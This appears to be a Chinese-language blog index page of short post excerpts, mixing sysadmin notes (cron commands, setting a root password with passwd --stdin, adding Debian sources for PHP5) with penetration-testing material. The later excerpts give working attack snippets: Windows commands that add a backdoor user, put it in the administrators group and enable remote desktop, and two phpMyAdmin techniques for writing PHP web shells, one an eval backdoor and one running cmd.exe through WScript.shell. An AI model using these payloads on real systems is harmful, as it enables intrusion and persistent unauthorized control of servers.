Posted on | In

获取版本号

访问

1
/data/admin/ver.txt

获取到更新时间，返回一串如20130304这样的信息，表示版本是2013年03月04号的。

漏洞查找

根据官方的补丁和更新日志找到存在的漏洞

Read more »

Posted on | In

cron服务

cron是一个linux下 的定时执行工具，可以在无需人工干预的情况下运行作业。

1
2
3
4
5
service crond start    //启动服务
service crond stop     //关闭服务
service crond restart  //重启服务
service crond reload   //重新载入配置
service crond status   //查看服务状态
Read more »

Posted on | In

方法一

1
echo "123456" | passwd --stdin root
  • 优点：方便快捷
  • 缺点：如果你输入的指令能被别人通过history或者其他方式捕获，那么这样的方式是很不安全的，更重要的是如果密码同时含有单引号和双引号，那么则无法通过这种方法修改。
  • 说明：
    批量修改linux密码 passwd –stdin user 从标准输入中读取密码，所以用户可以在脚本中使用如 echo NewPasswd | passwd –stdin username 这种方式来批量更改密码 但在其它的一些发行版（如Debian/Suse）所提供的passwd并不支持–stdin这个参数
    Read more »

Posted on | In

在最新的Ubuntu上安装的PHP版本为7，在新版本中部分函数被更换，所以导致有些时候使用php环境会报错，此时就需要安装php5的环境。

添加源

在/etc/apt/sources.list文件中添加以下源

1
2
3
4
5
deb http://mirror.yandex.ru/debian wheezy main contrib
deb-src http://mirror.yandex.ru/debian wheezy main contrib

deb http://security.debian.org/ wheezy/updates main contrib
deb-src http://security.debian.org/ wheezy/updates main contrib
Read more »

Posted on | In

Windows常用命令

1
2
3
4
5
6
//添加用户
net user name 123 /add
//添加到管理员组
net localgroup administrators name /add
//开3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

Posted on | In

phpmyadmin写一句话

方法一

1
select '<?php @eval($_POST[cmd])?>' into outfile ''

方法二

1
2
3
set global general_log='on';
set global general_log_file='';
select '<?php $command=$_REQUEST[abc]; $wsh= new COM("WScript.shell"); $exec= $wsh->exec("cmd.exe /c ".$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput ?>';
Read more »